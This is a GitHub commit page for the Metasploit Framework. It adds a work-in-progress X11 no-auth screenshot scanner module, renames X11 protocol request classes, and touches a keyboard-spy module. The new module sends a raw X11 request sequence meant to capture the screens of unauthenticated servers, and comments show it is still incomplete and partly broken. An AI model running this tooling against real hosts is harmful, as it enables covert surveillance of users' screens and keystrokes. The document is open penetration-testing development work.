Skip to content

Commit

Permalink
WIP x11 screenshots and lib
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Feb 27, 2024
1 parent 453f8bb commit 75d007b
Show file tree
Hide file tree
Showing 8 changed files with 269 additions and 72 deletions.
6 changes: 3 additions & 3 deletions lib/msf/core/exploit/remote/x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ class X11GETPROPERTYRESPONSE < BinData::Record
string :value_data, read_length: -> { value_length }
end

class X11GETPROPERTY < BinData::Record
class X11GETPROPERTYREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 20 # GetProperty
uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true?
Expand Down Expand Up @@ -118,12 +118,12 @@ class X11GETINPUTFOCUSREQUEST < BinData::Record
uint16 :request_length, value: -> { num_bytes / 4 }
end

class X11INTERNATOM < BinData::Record
class X11INTERNATOMREQUEST < BinData::Record
endian :little
uint8 :opcode, value: 16 #InternAtom
uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true?
uint16 :request_length, value: -> { num_bytes / 4 }
uint16 :name_length, value: -> { name.to_s.length }
uint16 :name_length, value: -> { name.to_s.gsub(/\x00+\z/, '').length } # cut off the \x00 padding
uint16 :unused, initial_value: 0
string :name, trim_padding: true
end
Expand Down
18 changes: 11 additions & 7 deletions lib/msf/core/exploit/remote/x11/window.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ class GETREQUEST < BinData::Record
uint8 :opcode # 3 = GetWindowAttributes, 14 = GetGeometry
uint8 :unused # XXX seems to be increasing counter...
uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :window
uint32 :window # X11CONNECTION.screen_root
end

class GETWINDOWATTRIBUTESRESPONSE < BinData::Record
Expand All @@ -35,7 +35,7 @@ class GETWINDOWATTRIBUTESRESPONSE < BinData::Record
uint16 :do_not_propagate_mask
end

class GetGeometryResponse < BinData::Record
class GETGEOMETRYRESPONSE < BinData::Record
endian :little

uint8 :depth
Expand All @@ -52,8 +52,8 @@ class TRANSLATECOORDINATESREQUEST < BinData::Record
uint8 :opcode, value: 40 # TranslateCoordinates
uint8 :unused # XXX seems to be increasing counter...
uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :src_window
uint32 :dst_window
uint32 :src_window # X11CONNECTION.screen_root
uint32 :dst_window # X11CONNECTION.screen_root
uint16 :src_x
uint16 :src_y
end
Expand All @@ -63,15 +63,19 @@ class QUERYTREEREQUEST < BinData::Record
uint8 :opcode, value: 15 # QueryTree
uint8 :unused, value: 1 # XXX counter?
uint16 :request_length, value: -> { num_bytes / 4 }
uint32 :drawable
uint32 :drawable # X11CONNECTION.screen_root
end

class QUERYTREERESPONSE < BinData::Record
endian :little
uint8 :root
uint8 :parent_id
uint16 :n_children
array :children, type: :uint32le, initial_length: :n_children
array :tree, type: :uint8, read_until: :eof
array :children,
type: :uint32le,
initial_length: :n_children
array :tree,
type: :uint8,
read_until: :eof
end
end
2 changes: 1 addition & 1 deletion lib/msf/core/exploit/remote/x11/xkeyboard.rb
Original file line number Diff line number Diff line change
Expand Up @@ -373,7 +373,7 @@ class BELLREQUEST < BinData::Record
uint16 :pitch, initial_value: 0
uint16 :duration, initial_value: 0
uint16 :unused2
uint32 :name, initial_value: 816 # XXX do we see this elsewhere?
uint32 :name, initial_value: 814 # XXX do we see this elsewhere?
uint32 :window
end
end
4 changes: 2 additions & 2 deletions modules/auxiliary/gather/x11_keyboard_spy.rb
Original file line number Diff line number Diff line change
Expand Up @@ -44,7 +44,7 @@ def initialize(info = {})
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [],
'AKA' => ['xspy']
'AKA' => ['xspy'],
'RelatedModules' => [
'auxiliary/scanner/x11/open_x11',
]
Expand Down Expand Up @@ -185,7 +185,7 @@ def run
sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base,
drawable: connection.screen_root,
gc_value_mask_background: 1).to_binary_s +
X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this
X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)

vprint_status('(5/9) Checking on XKEYBOARD extension')
Expand Down
44 changes: 2 additions & 42 deletions modules/auxiliary/scanner/x11/open_x11.rb
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ def initialize
},
'Author' => [
'tebo <tebodell[at]gmail.com>', # original module
'h00die' # X11 library, screenshot updates
'h00die' # X11 library
],
'References' =>
[
Expand All @@ -38,53 +38,13 @@ def initialize
)

register_options([
Opt::RPORT(6000),
OptBool.new('SCREENSHOT', [ false, 'Save a screenshot to loot', true ]),
Opt::RPORT(6000)
])
end

def take_screenshot(connection)
query_extension_calls = 0
# query extension bit requests
sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why
query_extension_calls += 1
big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS')

# enable big requests
sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)
# createGC, GetProperties
sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base,
drawable: connection.screen_root,
gc_value_mask_background: 1).to_binary_s +
X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)
# InternAtom wait
sock.put(X11INTERNATOM.new(name: "Wait").to_binary_s)
sock.get_once(-1, 1)
# xkeyboard-bell
sock.put(BELLREQUEST.new().to_binary_s)
sock.get_once(-1, 1)
# getwindowattributes+getgeometry
sock.put(X11GETPROPERTY.new(window: connection.screen_root,
property: 39, # WM_Name
get_property_type: 31 # string
).to_binary_s) # not sure why we do this
# translatecoordinates
# getproperty
# InternAtom server_overlay_visuals
sock.put(X11INTERNATOM.new(name: "SERVER_OVERLAY_VISUALS").to_binary_s)
# getwindowattributes+getgeometry
# querytree
sock.put(QUERYTREEREQUEST.new().to_binary_s)
tree = QUERYTREERESPONSE.read(sock.get_once(-1, 1))
# getwindowattributes+getgeometry
end

def run_host(ip)

begin

connect
sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish
packet = sock.get_once(-1, 1)
Expand Down
212 changes: 212 additions & 0 deletions modules/auxiliary/scanner/x11/open_x11_screenshot.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,212 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Exploit::Remote::Tcp
include Auxiliary::Scanner
include Auxiliary::Report
include Exploit::Remote::X11

def initialize
super(
'Name' => 'X11 No-Auth Screenshot Scanner',
'Description' => %q{
This module scans for X11 servers that allow anyone
to connect without authentication. It can optionally take
a screenshot as well.
},
'Author' => [
'tebo <tebodell[at]gmail.com>', # original module
'h00die' # X11 library, screenshot updates
],
'References' => [
['OSVDB', '309'],
['CVE', '1999-0526'],
],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => [],
'RelatedModules' => [
'auxiliary/gather/x11_keyboard_spy',
]
}
)

register_options([
Opt::RPORT(6000),
])
end

def process_extension_query(packet, extension)
begin
extension_response = QUERYEXTENSIONRESPONSE.read(packet)
rescue ::EOFError
packet += sock
fail_with(Msf::Module::Failure::UnexpectedReply, "Unable to process QueryExtension Response. Raw packet: #{packet}")
end

if extension_response.present == 1
print_good(" Extension #{extension} is present with id #{extension_response.major_opcode}")
else
fail_with(Msf::Module::Failure::UnexpectedReply, "Extension #{extension} is NOT present (#{packet.inspect})")
end
extension_response
end

def take_screenshot(connection)
query_extension_calls = 0

# query extension big-requests
vprint_status('(2/9) Checking on BIG-REQUESTS extension')
sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why
query_extension_calls += 1
big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS')

# enable big requests
vprint_status('(3/9) Enabling BIG-REQUESTS')
sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)

# createGC, GetProperties
vprint_status('(4/9) Creating new graphical context')
sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base,
drawable: connection.screen_root,
gc_value_mask_background: 1).to_binary_s +
X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)

# query extension xkeyboard
vprint_status('(5/9) Checking on XKEYBOARD extension')
sock.put(QUERYEXTENSION.new(extension: 'XKEYBOARD', unused2: query_extension_calls).to_binary_s) # check if XKEYBOARD exist, not sure why
xkeyboard_plugin = process_extension_query(sock.get_once(-1, 1), 'XKEYBOARD')
query_extension_calls += 1

# enable xkeyboard
vprint_status('(6/9) Enabling XKEYBOARD')
sock.put(EXTENSIONTOGGLE.new(opcode: xkeyboard_plugin.major_opcode, wanted_major: 1).to_binary_s) # use keyboard
sock.get_once(-1, 1)

# InternAtom wait
vprint_status('(7/9) Setting wait on itern atom')
sock.put(X11INTERNATOMREQUEST.new(name_value: 'Wait').to_binary_s)
sock.get_once(-1, 1)

# xkeyboard-bell
vprint_status('(8/9) Setting xkeyboard bell')
sock.put(BELLREQUEST.new(xkeyboard_id: xkeyboard_plugin.major_opcode).to_binary_s)
# sock.get_once(-1, 1)

# getwindowattributes+getgeometry
# XXX this is getting a response of "Unkonwn request"
query_extension_calls += 1 # XXX not sure why, figure out where we're missing a call
vprint_status('(9/9) Getting root Window Attributes')
sock.put(GETREQUEST.new(window: connection.screen_root,
opcode: 3, # GetWindowAttributes
unused: query_extension_calls).to_binary_s +
GETREQUEST.new(
window: 1320,
opcode: 14, # GetGeometry
unused: query_extension_calls + 1
).to_binary_s) # not sure why we do this
sock.get_once(-1, 1)
query_extension_calls += 2

# translatecoordinates
vprint_status('(10/9) Getting coordinates translation')
sock.put(TRANSLATECOORDINATESREQUEST.new(src_window: connection.screen_root, dst_window: connection.screen_root).to_binary_s)
sock.get_once(-1, 1)

# getproperty
vprint_status('(11/9) ')
sock.put(X11GETPROPERTYREQUEST.new(window: connection.screen_root).to_binary_s)
sock.get_once(-1, 1)

# InternAtom server_overlay_visuals
vprint_status('(12/9) Setting Server Overlay Visuals on Itern Atom')
sock.put(X11INTERNATOMREQUEST.new(name_value: "SERVER_OVERLAY_VISUALS\x00\x00",
only_if_exists: 1).to_binary_s)
sock.get_once(-1, 1)

# getwindowattributes+getgeometry
vprint_status('(13/9) Getting window attributes and geometry')
sock.put(GETREQUEST.new(window: connection.screen_root,
opcode: 3,
unused: 3).to_binary_s +
GETREQUEST.new(opcode: 14,
window: connection.screen_root).to_binary_s)

# querytree
vprint_status('(14/9) Getting Tree')
sock.put(QUERYTREEREQUEST.new(drawable: connection.screen_root).to_binary_s)
# XXX typically in 2 packets
data = sock.get_once(-1, 1)
begin
data << sock.get_once(-1, 1)
rescue StandardError => e
puts e.inspect
end
trees = QUERYTREERESPONSE.read(data)
vprint_status(" Found #{trees.tree.length} trees")

# getwindowattributes+getgeometry
vprint_status('(15/9) Getting window attributes and geometry for each tree')
puts trees.inspect
trees.tree.each do |t|
# XXX this loop is failing hard.
next if t == 0

# getwindowattributes+getgeometry
sock.put(GETREQUEST.new(window: t,
opcode: 3,
unused: 3).to_binary_s +
GETREQUEST.new(opcode: 14, window: t).to_binary_s)
sock.get_once(-1, 1) # this has both responses in it, so we need to split it to process it correctly
end
end

def run_host(ip)
vprint_status('Establishing TCP Connection')
connect # tcp connection establish
vprint_status('(1/9) Establishing X11 connection')
sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish
packet = sock.get_once(-1, 1)
begin
connection = X11CONNECTION.read(packet)
rescue EOFError
vprint_bad("Connection packet malfored (size: #{packet.length}), attempting to get read more data")
packet += sock.get_once(-1, 1)
end

begin
connection = X11CONNECTION.read(packet)
if connection.success == 1
print_good("#{ip} - Successly established X11 connection")
vprint_status(" Vendor: #{connection.vendor}")
vprint_status(" Version: #{connection.protocol_version_major}.#{connection.protocol_version_minor}")
vprint_status(" Screen Resolution: #{connection.screen_width_in_pixels}x#{connection.screen_height_in_pixels}")
vprint_status(" Resource ID: #{connection.resource_id_base.inspect}")
vprint_status(" Screen root: #{connection.screen_root.inspect}")
report_note(
host: ip,
proto: 'tcp',
sname: 'x11',
port: rport,
type: 'x11.server_vendor',
data: "Open X Server (#{connection.vendor})"
)

take_screenshot(connection)
else
vprint_error("#{ip} Access Denied")
end
rescue StandardError
vprint_bad('Failed to parse X11 connection initialization response packet')
end

disconnect
end
end
Loading

0 comments on commit 75d007b

Please sign in to comment.